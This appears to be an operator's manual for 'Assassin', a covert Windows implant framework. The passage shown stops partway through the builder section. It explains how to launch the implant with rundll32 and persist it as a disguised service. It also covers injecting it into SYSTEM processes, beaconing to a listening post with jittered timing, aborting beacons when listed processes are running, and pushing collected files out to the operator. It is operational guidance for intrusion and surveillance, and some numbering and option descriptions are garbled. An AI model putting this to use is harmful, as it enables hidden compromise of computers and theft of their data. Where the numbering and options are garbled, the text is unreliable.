# ASSASSIN v1.4 USER GUIDE

June 2014

CL BY: 2355679
CL REASON: Section 1.5(c),(e)
DECL ON: 20390602
DRV FRM: COL 6-03

CL BY: 2355679
CL REASON: Section 1.5(c),(e)
DECL ON: 20390602
DRV FRM: COL 6-03

CL BY: 2355679
CL REASON: Section 1.5(c),(e)
DECL ON: 20390602
DRV FRM: COL 6-03

# 1 Overview

This document is intended to provide information relevant to the secure and effective use of the Assassin automated implant, including descriptions of system components, instructions for their operation, and potential vulnerabilities to detection or failure.

## 1.1 Concept of Operations

Assassin is an automated Implant that provides a simple collection platform on remote computers running the Microsoft Windows operating system. Once the tool is installed on the target, the implant is run within a Windows service process. Assassin will then periodically beacon to its configured listening post(s) to request tasking and deliver results. Communication occurs over one or more transport protocols as configured before or during deployment.

## 1.2 Subsystems

Assassin consists of four subsystems: Implant, Builder, Command and Control, and Listening Post.

*Implant*

The Implant provides the core logic and functionality of Assassin on a target computer. An Implant is configured using the Builder and deployed to a target Windows machine via some undefined vector.

The Implant subsystem consists of an Implant Executable and, optionally, a Deployment Executable.

*Builder*

The Builder configures Implant and Deployment Executables before deployment. The operator may configure the executables from scratch or provide a configuration as a starting point. The Builder provides a custom command line interface for setting the Implant configuration before generating the Implant. A wizard mode is available to walk the operator through the build process.

*Command and Control*

The Command and Control (C2) subsystem provides an interface between the operator and the Listening Post. It is used to generate tasks for an implant and send them to an LP, process the results of those tasks received from an LP, and handle logs collected from the LP.

The C2 consists of the User Interface, Task Generator, Queue Proxy, Post Processor, Default Ingester, and Log Extractor.

*Listening Post*

The Listening Post (LP) subsystem facilitates communication between an Assassin Implant and the C2 subsystem through a web server.

The LP consists of the Beacon Server, Queue, and Log Collector.

### 1.3 The Gibson

The Assassin C2 and LP subsystems are referred to collectively as The Gibson. The Gibson represents the configuration and deployment of the C2 and LP using Galleon interfaces.

A The Gibson requires a configuration file. The system will automatically locate the file when they are installed at `/etc/the-gibson` or relative to the `the_gibson` Python package at `./.gibconfig`.

## 1.4 System Requirements

### 1.4.1 Galleon

The Assassin subsystems are Galleon-compliant components and are dependent on Galleon interfaces for operation. Assassin uses the Transport Interface (version 1) to communicate between components and the Publish Interface (version 1) to provide processed results to the user.

### 1.4.2 Python

The Assassin scripts are written for Python version 3.3. Their compatibility with other versions has not been tested and is not assured. Unless otherwise stated, the scripts may run on any platform and operating system that runs a Python interpreter.

The Assassin scripts are dependent on the provided Python packages, named `‘assassin’` and `'the_gibson'`. The packages must be placed within one of Python’s path resolution directories, which includes the directory of the script executed.

# 2 Assassin Implant

The Assassin Implant provides the core logic and functionality of the Assassin toolset on the target, including communications and task execution. The configuration of the Implant determines the majority of its behavior, including when it operates, when it beacons, how it communicates, and where it operates on the target.

Assassin includes five types of Implant Executable: DLL, EXE, Service DLL, ICE DLL, Pernicious Ice DLL.

## 2.1 Implant Executable Usage

Implant Executables may be run directly or through one of the Deployment Executables. However, when run directly, Implant Executables do not provide their own persistence.

### 2.1.1 Implant DLL

The Implant DLL is a Windows Dynamically Loaded Library. The Implant DLL may be run through one of the Deployment Executables or directly, via DllMain or a provided RunDll32 entry point.

## *3 Running via DllMain*

The Implant may be started by loading the Implant DLL directly. The DllMain function defined by the DLL will start the implant within the host process that loads it.

## *4 Running via GH1*

Grasshopper is an Installation utility that provides soft persistence on Microsoft Windows targets. The Implant DLL implements the Grasshopper GH1 interface, which allows it to interact directly with Grasshopper modules that also implement the interface.

See the Grasshopper Users' Guide for more information about installing payloads using Grasshopper.

## *5 Running via RunDLL32*

A RunDLL32 entry point is provided by the Implant DLL to run the Implant directly. When executed through RunDLL32, the Implant DLL is loaded and executed within a RunDLL32 process, which will be present in the process list.

Usage

For 32-bit target:

```
rundll32.exe Assassin.dll,_EntryPoint@0
```

For 64-bit target:

```
rundll32.exe Assassin.dll,EntryPoint
```

### 5.1.1 Implant Service DLL

The Implant Service DLL is a Windows Dynamically Loaded Library that includes a ServiceMain entry point. The Implant Service DLL may be run through one of the Deployment Executables or directly via the ServiceMain or a provided RunDll32 entry point.

## *6 Running via RunDLL32*

A RunDLL32 entry point is provided by the Implant Service DLL to run the Implant directly. When executed through RunDLL32, the Implant Service DLL is loaded and executed within a RunDLL32 process, which will be present in the process list.

Usage

For 32-bit target:

```
rundll32.exe Assassin.dll,_EntryPoint@0
```

For 64-bit target:

```
rundll32.exe Assassin.dll,EntryPoint
```

## *7 Running via ServiceMain*

The Implant Service DLL may be installed as a valid service executable on a target by hand or through a third-party tool. This process is left as an exercise to the reader.

### 7.1.1 Implant EXE

The Implant EXE is a plain Windows Executable that behaves identically to the DLLs as an implant but provides its own process. Unfortunately, this means that the Implant EXE loses the stealth it gets from residing in trusted Windows processes.

To start the Implant, simply start the Implant EXE file as you would any other EXE.

#### 7.1.2 Implant ICE DLL

The Implant ICE DLL is a Windows DLL file that meets the ICE V3 Forget specification. This means that this DLL can be loaded by any tool that supports ICE V3 and the Forget feature set.

### 7.1.3 Implant Pernicious Ice DLL

The Implant Pernicious Ice DLL is a Windows DLL file that meets the NSA Pernicious Ice specification. This means that this DLL can be loaded by the Pernicious Ice tool.

## 7.2 Implant Identification

An Assassin ID is a case-sensitive, eight-digit alphanumeric string that uniquely identifies an Assassin Implant. The ID contains two four-digit parts: the parent and the child. The parent identifies groups of implants and is always set by the operator at build time. The child identifies an Implant within the parent group. If the child is not set at build time, it is randomly generated by the Implant on first execution.

Only one Assassin Implant is permitted to run on a target per parent ID.

## 7.3 Beacon

Assassin communications are organized around periodic events called beacons. During a beacon event, the Implant will connect to the listening post to send vital information about the Implant state, request tasking from the operator, and respond with results. The beacon transaction, the timing of events, and optional conditional checks are described below.

### 7.3.1 Beacon Transaction

The majority of Implant-Listening Post communications occur during beacon events. The beacon transaction is composed of six stages:

1. *Decide to Beacon*

   The Implant decides if it should perform a beacon transaction. Two conditions must be met before the Implant will attempt to beacon.
   - Beacon Interval seconds have elapsed since the last beacon transaction.
   - Target machine passes the 'Process Check', which is described below.

2. *Beacon*

   The Implant sends a beacon to the Listening Post, initiating the transaction. The beacon includes information about the state of the Implant, including:
   - ID of the Implant
   - Current Time on the target machine
   - Time when the Implant last started execution
   - Time when the Implant is scheduled to uninstall, if scheduled
   - Index of Transport used to conduct current beacon

3. *Download Tasking*

   The Implant downloads a Tasking file, if any are available, from the Listening Post. The file is saved in the `input directory` with a random name between five and twenty-five alphanumeric characters.

4. *Execute Tasking*

   The Implant executes any tasking files it finds in the `'input'` directory. Results are generated, prepared for upload, and saved in the upload queue. The results of task execution do not affect the success/failure of the beacon.

5. *Upload Results*

   The Implant uploads files to the Listening Post from the upload queue. The Implant will continue to upload files until the upload limit is met or the upload queue is exhausted.

6. *Update Beacon Interval*

   The Implant calculates the duration of the next beacon interval based on the success or failure of the current beacon's communications.

### 7.3.2 Beacon Timing

The timing of beacon events is defined by the five beacon configuration fields. The interval between events is dynamic and calculated at the end of each transaction using the following algorithm:

```
if (comms_succeeded):
            interval = default_interval
else:
            interval *= backoff_factor

interval += RandomInteger(-jitter, jitter)

if (interval > max_interval):
            interval = max_interval
```

*Default Interval*

The `default_interval` specifies an integral number of seconds between beacons. The Implant will not beacon more frequently than every `default_interval` seconds.

While the beacon period is variable, this is the interval the Implant will maintain while successfully communicating with the listening post.

*Max Interval*

The `max_interval` defines an integral number of seconds as an upper bound for beacon intervals. The Implant will attempt to beacon at least every `max_interval` seconds.

*Jitter*

The `jitter` specifies an integral number of seconds representing the maximum amount of variation in beacon timing.

Whenever the time for the next beacon is calculated, the `jitter` is applied to introduce randomness to the timing of beacons.

*Backoff Factor*

The `backoff_factor` modifies the beacon interval after a failed attempt to beacon, multiplying the current interval by the factor.

The factor is specified by a floating point value greater than or equal to `1.0`.

*Initial Wait*

The `initial_wait` defines an integral number of seconds that the Implant must wait after startup before attempting its first beacon.

### 7.3.3 Process Check

The Assassin Implant may be configured to check the target's running process list before performing a beacon. The contents of the process list are compared against two sets of processes defined at build time, the `blacklist` and the `whitelist`. These lists are specified by the image names of the processes in question.

The blacklist is a set of processes that prevent the performance of a beacon transaction. If any of the processes in the blacklist is running, the beacon is aborted.

The whitelist is a set of processes that enable the performance of a beacon transaction. If none of the processes in the whitelist is running, the beacon is aborted.

If a beacon is aborted due to a failed process check, it is considered a 'failed beacon' for the purposes of the failure threshold; see section 7.6.3 on Failure Threshold.

### 7.4 Tasking

The Assassin Implant implements an asynchronous command and control design based on the exchange of tasks and results between the Implant and the Listening Post. Tasks are created using either the User Interface or the stand-alone Task Generator; see section 11 on the Task Generator. Results are assembled and processed using the Post Processor; see section 14 on the Post Processor.

### 7.4.1 Task Commands

An Assassin task consists of one or more commands. The commands are run sequentially until all have been executed or until an error is detected. Assassin tasks should be used to encapsulate the execution of several interdependent commands.

For example, a task may include commands to put an executable on the target, run the executable, get the output of the executable, and securely delete the executable.

### 7.4.2 Task Run Mode

Tasks may be set to run in a variety of modes that determine when the task is run and when its results are returned to the LP.

A task run mode may be set to 'run on receipt' or 'run on startup' or both. If a task is set to run on receipt, it will be executed as soon as it is processed by the implant. If a task is set to run on startup, it is copied to the implant's startup directory and executed every time the implant starts.

A task run mode may additionally be set to push results. If a task is set to push results, the Implant will upload the result file immediately to the LP. The pushed result bypasses the upload queue and does not influence the upload limits set by the chunk size.

### 7.4.3 Task Input

The Assassin Implant monitors its `input directory` for new task files by polling every five seconds. The Implant will process the first task it finds and remove it from the `input directory`. Task files are typically placed in the directory during communication with the Listening Post. However, task files placed in the `input directory` via a non-Assassin mechanism will be processed like any other task.

Startup tasks are stored in the Assassin `startup directory`. All task files in this directory are processed exactly once during Implant start. Task files are typically placed in the directory by the Implant whenever it identifies a task as a startup task. However, task files placed in the `startup directory` via a non-Assassin mechanism will be processed like any other startup task.

### 7.4.4 Task Execution

The Assassin Implant will process one task file at a time and blocks during the execution of tasks. Tasks are not executed during hibernation; startup tasks run after the hibernation period but before the initial beacon delay.

#### 7.4.5 Task Output

The Assassin Implant creates an encrypted result file in the `output directory` for each processed task file. If the task was configured to return its results immediately, the Implant will upload this file to the listening post. Otherwise, the file is placed in the upload queue for eventual transmission to the LP.

## 7.5 Communication

The Assassin Implant implements communications mechanisms to fetch and respond to tasking and to support third-party tools.

### 7.5.1 Transports

Assassin may be configured to communicate using one or more transports. A transport configuration consists of a listening post, a try value, a communication protocol, and protocol-specific options.

The Implant is configured with an ordered list of transports. The Implant will attempt to beacon using a transport the configured number of tries before switching to the next transport in the list, or the first if the list has been exhausted.

*HTTPS*

Assassin supports communication over the Hypertext Transfer Protocol Secure (HTTPS). The Implant communicates with the listening post via GET and POST requests using the WinInet API. User agent strings identify the Implant communications as originating from a Mozilla Firefox browser.

Port Customization

The HTTPS transport allows the operator to select the TCP port on the listening post to which the Implant should attempt to connect. HTTPS traffic is typically directed at a web server’s port 443.

URL Randomization

The HTTPS transport randomizes the URL used during Implant communications, including both the path and filename components.

The path of the URL is randomized by selecting one of a set of path components provided in the transport configuration. If no path components are provided, a path is randomly generated from between three and eight alphanumeric characters.

The filename of the URL is an encoded string of at least sixteen alphanumeric characters that is composed of the Implant ID and a nonce used to obfuscate the ID.

Proxy Support

The HTTPS transport supports the optional use of proxy credentials for communication. A username and password, when provided to the transport configuration, will be used to validate with the network proxy during communications using the transport.

### 7.5.2 Push Directories

Assassin provides 'push' directories, intended to support third-party tools. Two directories created by the Assassin implant, the `output` and `push` folders, will push files from the target machine to the listening post. Files detected in these directories are immediately packaged with metadata and encrypted for transmission. Metadata collected for pushed files includes the file's name and size, the time it was detected, and the ID of the Implant that collected it.

Files placed in the `output directory` are placed in the upload queue for later transmission. Files placed in the `push directory` are uploaded immediately; if the immediate upload fails, the file is placed in the upload queue with priority status.

### 7.5.3 Upload Queue

The Assassin Implant maintains a queue of files that are awaiting upload to the listening post. The Implant uploads files from the queue during the beacon transaction in first-in first-out order. Files in the upload queue may be given priority status, moving them to the front of the queue.

The upload queue is stored in the Implant’s `staging directory`. Files are given a random name of between five and twenty-five alphanumeric characters. Files with priority status are prepended with the tilde character, `‘~’`.

The Assassin implant will not store more than 16,384 files in the `staging directory` to prevent overflowing the limitations of the file system.

### 7.5.4 Chunking

Assassin's chunking feature allows operators to set limits on the amount of data that is uploaded from the target to the listening post during any beacon transaction. If the Implant is configured with a non-zero chunk size, it will send files from the upload queue until this threshold is met or the queue is empty. The Implant will always send the first file in the queue, regardless of size. Subsequent files are checked for size and are only sent if they will not push the beacon transaction past its upload limit.

Any task results or pushed files (from the `output directory`) that are larger than the current chunk size parameter are broken up to conform to the current upload limits. These chunks are later reassembled by the Post Processor.

Assassin sets a hard limit on the size of files that it uploads at 1 GiB. Any files larger than the limit will be chunked no larger than 1 GiB. This size limit only affects the way files are handled on target, not the upload limit set by the chunk size configuration.

If the operator modifies the chunk size configuration, chunked files in the upload queue are not reprocessed.

## 7.6 Operational Window

The Operational Window refers to the period of time during which the Assassin Implant is active on a target machine. This window is defined by the Implant’s hibernate, scheduled uninstall, and failure threshold parameters.

### 7.6.1 Hibernate

The Assassin Implant may be configured to hibernate for a period of time before going active on a target. During this hibernation period, the Implant is dormant, neither beaconing nor processing tasks.

The hibernation period is defined in the configuration as seconds after the Implant is first run on the target.

### 7.6.2 Scheduled Uninstall

The Assassin Implant may be scheduled to autonomously uninstall on a certain date and/or after a certain period of time. The conditions for the uninstallation are provided in the configuration and checked periodically by the Implant.

The uninstall date specifies a date and time at which the Implant should uninstall. If the target clock is equal to or later than the configured date, the Implant uninstalls.

The uninstall timer specifies a period of time after which the Implant should uninstall. This time period is defined as a number of seconds after the Implant is first run on the target.

### 7.6.3 Failure Threshold

The Assassin Implant may be configured to end the operation if it passes a defined failure threshold. If the Implant fails during a beacon consecutively more than a configured number of times, it will autonomously uninstall from the target.

## 7.7 Configuration

The behavior of the Assassin Implant is widely configurable by the modification of several parameters. Configured Implant Executables are generated using the Builder, the usage for which is documented in section 9. The Implant configuration is patched into the Implant binary at build time.

### 7.7.1 Configuration Sets

The Implant identifies and manipulates three full sets of configurations: running, persistent, and factory. Details about these configuration sets are herein described.

*Running*

The running configuration is the settings the Implant is currently using to operate. The running configuration is stored solely in memory and is lost whenever the Implant restarts.

During operation, all modifications to the Implant configuration are made to the running configuration. If changes are not explicitly persisted, they will be lost on restart.

*Persistent*

The persistent configuration is the settings that the Assassin Implant will revert to upon startup, regardless of the running configuration from the previous session.

If the Implant Executable is able to access its original binary, the persistent configuration is stored as a patch in the binary. If not, the persistent configuration is saved to a file in the Implant's `startup directory` with a random filename and extension.

*Factory*

The factory configuration is the settings that the Implant had when it was built and originally deployed. The operator may easily revert to this configuration at any time.

The persistent configuration is stored as a patch in the Implant Executable binary and is never modified.

## 7.8 Crypto

The Assassin toolset uses a modified RC4 stream cipher to provide cryptographic services. Any data stored on the target file system or sent over the wire is encrypted prior to potential exposure.

The Implant carries a sixteen byte key that is generated and patched into the binaryby the Builder. A sixteen byte session key is generated by combining a four byte nonce with the key and calculating the MD5 hash. A new session key is calculated per crypto transaction.

The four byte nonce is prepended to the crypt text before being stored or transmitted.

Assassin modifies the RC4 scheme by flushing the crypto state machine with 1024 zeroes during initialization.

### 7.9 Footprint

This section documents the footprint of the Implant Executable and its operation on the target environment.

### 7.9.1 Implant Executable

The Implant Executable is copied to the target file system before it is run. The name and location of the executable is determined by the operator, either through directly placing the executable or by configuring the Deployment Executable that places it.

### 7.9.2 Directories

The Implant Executable will create five directories on the target file system that is uses to manage communications and tasking. The Implant will ignore subdirectories, allowing the directories to be nested with other directories, including other Assassin directories, without affecting operation.

*Input*

Assassin tasking files are downloaded to and stored in the `input directory` until they can be processed by the Implant. Tasking files are given a random filename between five and twenty-five alphanumeric characters.

*Startup*

Assassin tasking files designated for startup execution are moved to the `startup directory` and processed once whenever the Implant starts. They retain the filename they had/were given in the `input directory`.

The directory may also contain a configuration file of the implant's persisted settings with a random filename and extension.

*Output*

Files placed in the `output directory` are packaged and placed in the upload queue for transmission during the next beacon.

Third-party tools may use this feature to forward files to the listening post.

*Push*

Files placed in the `push directory` are packaged and uploaded immediately, ignoring the beacon interval and chunk size. If the Implant is unable to upload the file, it is placed in the upload queue with priority status.

Third-party tools may use this feature to forward files to the listening post.

*Staging*

The Implant uses the `staging directory` to manage its upload queue. Files created in this directory are given a random filename of eight alphanumeric characters and a numeric counter.

This directory is reserved for Implant use. The behavior of files placed in this directory is undefined.

# 8 Assassin Deployment

The Deployment Executables provide services to support the deployment of the Implant Executables, such as process injection and persistence. One of the Deployment Executables is selected based on the concept of operations and executed on the target computer.

The Assassin toolset includes two types of Deployment Executables: Injection Launchers and Service Installers.

## 8.1 Injection Launcher

The Injection Launchers provide persistence and process injection for the Assassin Implant. It carries an Implant DLL embedded as a resource, which it is responsible for deploying by injecting into an existing SYSTEM process. Implants are typically injected into the `netsvcs svchost`.

The Launcher is only able to inject the Implant DLL into SYSTEM processes of the same bitness as itself. The Injection Extractor provides deployment flexibility by allowing operators to deploy Assassin without prior knowledge of the target environment. The Extractor carries both the 32- and 64-bit Launchers as resources and deploys the appropriate version based on the operating system.

### 8.1.1 Launching Assassin

The Injection Launcher follows the following steps to achieve soft persistence and process injection for the Implant DLL:

1) Register as Windows Service

   The Launcher persists itself as a Windows service that starts on boot. If it is not currently persisted, the Launcher will register itself through direct registry modification. The Launcher is setup as a service with a user-provided cover name and description.

2) Inject Implant

   If the Launcher has SYSTEM privileges, it will try to inject the Implant DLL into one of the Windows SYSTEM processes. First, the Implant DLL is dropped to the target disk with a user-defined name and location. The Launcher then walks through the target processes until it finds a suitable host process. Once an appropriate SYSTEM process is identified, the Implant DLL is injected using a Windows hook.

3) Cleanup and Exit

   The Launcher passes information about itself to the Implant DLL and terminates.

### 8.1.2 Extracting Assassin

The Injection Extractor follows the following steps to deploy the Injection Launcher:

1) Detect OS Bitness

   The Extractor determines the bitness of the target's operating system

2) Execute Launcher

   The Extractor drops the Launcher to a user-defined location on the target file system and executes it directly.

3) Cleanup and Exit

   The Extractor is no longer needed and self deletes.

### 8.1.3 Configuration

The behavior of the Assassin Injection Launchers and Extractors are customizable by the modification of its configuration. Configured Deployment Executables are generated using the Builder, the usage for which is documented in section 9. The configuration is patched into the Injection binaries at build time.

### 8.1.4 Footprint

This section documents the footprint of the Injection executables and their operation on the target environment.

*Launcher Executable*

The Launcher executable is copied to the target file system before it is run. The name and location of the executable is determined by the operator, either through directly placing the executable or by configuring the Extractor that places it.

*Extractor Executable*

The Extractor executable is copied to the target file system before it is run. The name and location of the executable is determined by the operator who places it. The Extractor self deletes shortly after being run.

*Service Registry*

The Launcher adds a key to the registry to set itself up as a service. The key is added at `‘HKLM\SYSTEM\CurrentControlSet\Services’`. The name and subkeys of this key are selected by the operator at build time.

## 8.2 Service Installer

The Service Installers and Extractor provide persistence for the Assassin Implant. The Installer carries an Implant Service DLL embedded as a resource, which it is responsible for deploying. The Extractor carries both the 32- and 64- bit Implant Service DLLs and installs the appropriate version based on the operating system.

### 8.2.1 Installing Assassin

The Service Installers and Extractor follow the following steps to achieve soft persistence for the Implant Service DLL:

1) Deploy Implant Service DLL

   The Implant Service DLL is dropped to the target disk with a user-defined name and location. If running the Extractor, it will select the bit-appropriate DLL.

2) Install Service DLL

   The Installer persists the Implant by registering the service DLL as a service through direct registry modification. The Implant Service DLL is setup as a member of the `netsvcs svchost` with a user-provided cover name and description.

3) Cleanup and Exit

   The Installer or Extractor is no longer needed and self deletes.

### 8.2.2 Configuration

The behavior of the Assassin Service Installers and Extractor are customizable by the modification of their configuration. Configured Deployment Executables are generated using the Builder, the usage for which is documented in section 9. The installation configuration is patched into the Installer binaries at build time.

### 8.2.3 Footprint

This section documents the footprint of the Service Installation executables and their  operation on the target environment.

*Installation Executable*

The Installation executable is copied to the target file system before it is run. The name and location of the executable is determined by the operator who places it. The executable self deletes shortly after being run.

*Service Registry*

The Installer adds a key to the registry to set the Implant Service DLL up as a service. The key is added at `‘HKLM\SYSTEM\CurrentControlSet\Services’`. The name and subkeys of this key are selected by the operator at build time.

# 9 Builder

The Builder configures Implant Executables before deployment. The operator may configure the executables from scratch or provide a configuration/receipt file as a starting point. The Builder provides a custom command line interface for setting the Implant and Deployment Executable configurations before generating the executables. A wizard mode is available to walk the operator through the build process.

The Builder outputs configured versions of all Implant Executables and a receipt file recording the parameters used and the build time.

The Builder requires the Assassin Python module, named `‘assassin’`. The module must be located in the Python search path, which includes the directory with the `implant_builder.py` script. The Builder also needs access to a directory of blank Implant Executables.

## 9.1 Usage

```
implant_builder.py <options>
```

Options:

| | |
|---|---|
| `-i INPUT, --in=INPUT` | Specify the directory containing blank Implant Executables. *Required.* |
| `-o OUTPUT, --out=OUTPUT` | Specify the directory to output patched executables and receipt. *Required.* |
| `-c CONFIG, --config=CONFIG` | Specify an xml-based Assassin configuration file. |
| `-g, --generate` | Generate the executables from the provided configuration immediately; do not enter builder command line. |
| `-h, --help` | Show the help message and exit. |

## 9.2 Configuration and Receipt Files

The Builder uses xml-based files to specify or record the configuration of the Implant executables. The format of these files is nearly identical such that they may be used interchangeably.

Configuration files may be passed to the Builder on the command line and used as a starting point for the build process. The Builder will accept partial configuration files.

During Implant executable generation, the Builder creates a receipt file in the target folder of the output directory. The receipt records the configuration of the Implant and the time and date of the build. The Builder can use the receipt as a configuration file input to rebuild an Implant.

## 9.3 Command Line

The Builder provides a command line interface to view and set the Implant Executable configuration. Once the operator has finished tailoring the configuration of the Implant to their needs, the command line is used to generate the executables.

### 9.3.1 Builder Commands

The builder commands are used to control the builder. There are commands to view or export configurations, start the wizard, or generate configured Implant Executables.

`p [config='all']`

Print the current state of the configuration.

| | |
|---|---|
| `config` | Portion of configuration to print<br>`'all'` – print all of the configuration<br>`'implant'` – print the Implant DLL configuration<br>`'launcher'` – print the launcher configuration<br>`'extractor'` – print the Extractor configuration |

`x <xml_file>`

Export the current configuration to an xml file.

| | |
|---|---|
| `xml_file` | Filename for the exported xml configuration file |

`w`

Invoke the builder wizard; see section 9.6.

Current configuration settings will be presented as defaults in the wizard.

`g`

Generate the configuration and build the Implant executables.

The Implant executables and build receipt will be placed in the output directory under a folder named `'Assassin-<ImplantID>'`.

`c`

Cancel the build process. Any unsaved progress will be lost.

### 9.3.2 Build Option Commands

The build option commands are used to specify the types of Assassin Executables the Builder should generate.

```
build_outputs [options]
```

Set the build outputs for the current build. If no parameters are provided, the command will enter a subshell; see section 9.4.1 on the Build Outputs subshell.

| | |
|---|---|
| `options` | One or more of the following build types<br>`'all'` - All available Assassin Executables<br>`'run-dll'` - Implant DLLs, 32- and 64-bit<br>`'service-dll'` - Implant Service DLLs, 32- and 64-bit<br>`'executable'` - Implant EXEs, 32- and 64-bit<br>`'injection'` - Injection Launchers, 32- and 64-bit, and Extractor<br>`'service'` - Service Installers, 32- and 64-bit, and Extractor<br>`‘ice_dll’` - ICE V3 DLLs, 32- and 64-bit<br>`‘pernicious_ice_dll’` - ICE V3 DLLs, 32- and 64-bit |

### 9.3.3 Implant Commands

The Implant commands are used to modify the configuration of the Assassin Implant. The Implant configuration determines the behavior of the Implant once it is running on the target machine.

```
beacon [initial=0][default_int=0][max_int=0][factor=0.0][jitter=0]
```

Set one or more of the beacon parameters.

| | |
|---|---|
| `initial` | Initial wait after Implant startup before beacon*(default = 0)* |
| `default_int` | Default interval between beacons*(default = 0)* |
| `max_int` | Maximum interval between beacons*(default = 0)* |
| `factor` | Backoff factor to modify beacon interval*(default = 0)* If beacon fails, multiply beacon interval by `factor`. If beacon succeeds, restore beacon interval to default. |
| `jitter` | Range to vary the timing of beacons*(default = 0)* |

```
blacklist [programs=[]][files=[]]
```

Set the target blacklist. If no parameters are provided, the command will enter a subshell; see section 9.4.2 on Program List subshells.

| | |
|---|---|
| `programs` | Set of executable names to include in the blacklist, specified as a Python list or tuple |
| `files` | Set of blacklist files, specified as a Python list or tuple<br>Blacklist files are whitespace-delimited lists of executable names to include in a target blacklist. |

```
chunk_size <size>
```

Set chunk size to restrict network traffic per beacon. The Implant will chunk files to `size` bytes and attempt to limit uploads to `size` bytes.

| | |
|---|---|
| `size` | Maximum Implant upload size per beacon<br>Setting the size to `0` will disable upload chunking. |

```
crypto_key
```

Generate a new cryptographic key for secure storage and communication.

```
hibernate <seconds>
```

Set the hibernate time in seconds after first execution. The Implant will lie dormant until the hibernate period has elapsed.

| | |
|---|---|
| `seconds` | Number of seconds to hibernate after first execution |

```
id <parent> [child=None]
```

Set the Implant ID.

| | |
|---|---|
| `parent` | Parent ID for implant, specified by 4 case-sensitive alpha-numeric characters |

| | |
|---|---|
| `child` | Child ID for implant, optionally specified by 4 case-sensitive alpha-numeric characters<br>If the child ID is not set at build, it will be generated at first execution on target. |

`max_fails <count>`

Set the maximum number of sequential beacon failures before uninstalling.

| | |
|---|---|
| `count` | Number of failures before uninstalling |

`path_in <path>`

Set the path of the implant's input directory

| | |
|---|---|
| `path` | Windows path specifying location of the directory<br>Note: Assassin will create multiple directory levels to match `path` but will only remove `path` on uninstall. |

`path_out <path>`

Set the path of the implant's output directory

| | |
|---|---|
| `path` | Windows path specifying location of the directory<br>Note: Assassin will create multiple directory levels to match `path` but will only remove `path` on uninstall. |

`path_push <path>`

Set the path of the implant's push directory

| | |
|---|---|
| `path` | Windows path specifying location of the directory<br>Note: Assassin will create multiple directory levels to match `path` but will only remove `path` on uninstall. |

`path_staging <path>`

Set the path of the implant's staging directory

| | |
|---|---|
| `path` | Windows path specifying location of the directory<br>Note: Assassin will create multiple directory levels to match `path` but will only remove `path` on uninstall. |

`path_startup <path>`

Set the path of the implant's startup directory

| | |
|---|---|
| `path` | Windows path specifying location of the directory<br>Note: Assassin will create multiple directory levels to match `path` but will only remove `path` on uninstall. |

`transports [xml_file=None]`

Set the communication transport configuration. If no parameters are provided, the command will enter a subshell; see section 9.4.3 on Transport List subshells.

| | |
|---|---|
| `xml_file` | XML file containing an Assassin transport list configuration |

`uninstall_date <date>`

Set the uninstall date for the Implant.

| | |
|---|---|
| `date` | Date-Time or Date, specified in ISO 8601 format<br>Date-Time: `yyyy-mm-ddThh:mm:ss`<br>Date: `yyyy-mm-dd` |

`uninstall_timer <seconds>`

Set the uninstall timer as seconds from first execution.

| | |
|---|---|
| `seconds` | Number of seconds after first execution to uninstall |

`whitelist [programs=[]] [files=[]]`

Set the target whitelist. If no parameters are provided, the command will enter a subshell; see section 9.4.2on Program List subshells.

| | |
|---|---|
| `programs` | Set of executable names to include in the whitelist, specified as a list or tuple |
| `files` | Set of whitelist files, specified as a list or tuple<br>Whitelist files are whitespace-delimited lists of executable names to include in a target whitelist. |

### 9.3.4 Launcher Commands

The Launcher commands are used to modify the configuration of the Assassin Launcher. The Launcher configuration determines behavior regarding the persistence and injection of the Implant.

`dll_path <path> [bits='all']`

Set the path where the launcher will place the Implant DLL

| | |
|---|---|
| `path` | Windows path specifying the location of the Implant DLL |
| `bits` | Bitness of launcher to configure<br>`'all'` -configure all launchers<br>`'32'` - configure the 32-bit launcher<br>`'64'` - configure the 64-bit launcher |

`persistence <bool> [bits='all']`

Set whether or not a launcher will install its persistence method.

| | |
|---|---|
| `bool` | Boolean specifying if persistence will be installed<br>`'T'` – install the persistence mechanism<br>`'F'` – do not install the persistence mechanism |
| `bits` | Bitness of launcher to configure<br>`'all'` - configure all launchers<br>`'32'` - configure the 32-bit launcher<br>`'64'` - configure the 64-bit launcher |

`reg_description <string> [bits='all']`

Set the cover description for the launcher in the registry.

| | |
|---|---|
| `string` | String specifying registry description of the launcher |
| `bits` | Bitness of launcher to configure<br>`'all'` - configure all launchers<br>`'32'` - configure the 32-bit launcher<br>`'64'` - configure the 64-bit launcher |

`reg_key_path <path> [bits='all']`

Set the registry key name and path for the Launcher.

| | |
|---|---|
| `path` | Windows registry path specifying the key used to persist the Launcher.<br>If `path` is the key name, `'SYSTEM\CurrentControlSet\Services\'` is prepended. The launcher key must be in the Services key. |
| `bits` | Bitness of launcher to configure<br>`'all'` - configure all launchers<br>`'32'` - configure the 32-bit launcher<br>`'64'` - configure the 64-bit launcher |

`reg_name <string> [bits='all']`

Set the cover display name for the launcher in the registry.

| | |
|---|---|
| `string` | String specifying registry display name of the launcher |
| `bits` | Bitness of launcher to configure<br>`‘all’` - configure all launchers<br>`‘32’` - configure the 32-bit launcher<br>`‘64’` - configure the 64-bit launcher |

`start_now <bool> [bits=’all’]`

Set whether or not the launcher attempts to start immediately or waits for reboot.

| | |
|---|---|
| `bool` | Boolean specifying if launcher will start immediately<br>`‘T’` – attempt to start immediately<br>`‘F’` – wait for reboot to start |
| `bits` | Bitness of launcher to configure<br>`‘all’` - configure all launchers<br>`‘32’` - configure the 32-bit launcher<br>`‘64’` - configure the 64-bit launcher |

### 9.3.5 Extractor Commands

The Extractor commands are used to modify the configuration of the Assassin Extractor. The Extractor configuration determines how the Assassin Launcher will be deployed to the target machine.

```
path_32 <path>
```

Set the 32-bit launcher extraction path.

| | |
|---|---|
| `path` | Windows path specifying the location of the 32-bit launcher |

```
path_64 <path>
```

Set the 64-bit launcher extraction path.

| | |
|---|---|
| `path` | Windows path specifying the location of the 64-bit launcher |

## 9.4 Subshells

The Builder uses subshells to provide an interactive interface to modify various configuration fields, including whitelist, blacklist, and transport list.

### 9.4.1 Build Outputs

The Build Outputs subshell is used to define what Implant and Deployment executables the Builder should generate. The Build Outputs subshell is accessed through the Builder wizard or by not providing parameters to the `build_outputs` command in the Builder.

*Interface*

The Build Outputs subshell will repeatedly prompt the user for output types until the build outputs are generated. The subshell accepts two types of input: commands and build types. After each input, the subshell will update and display the state of the outputs list.

*Commands*

The following commands are used to modify the build outputs:

`d <index>`

Delete a process image name from the program list.

| | |
|---|---|
| `index` | Index of the target program name in the current list |

`g`

Generate the program list and build the patch used in the configuration field for Implant executables or tasks.

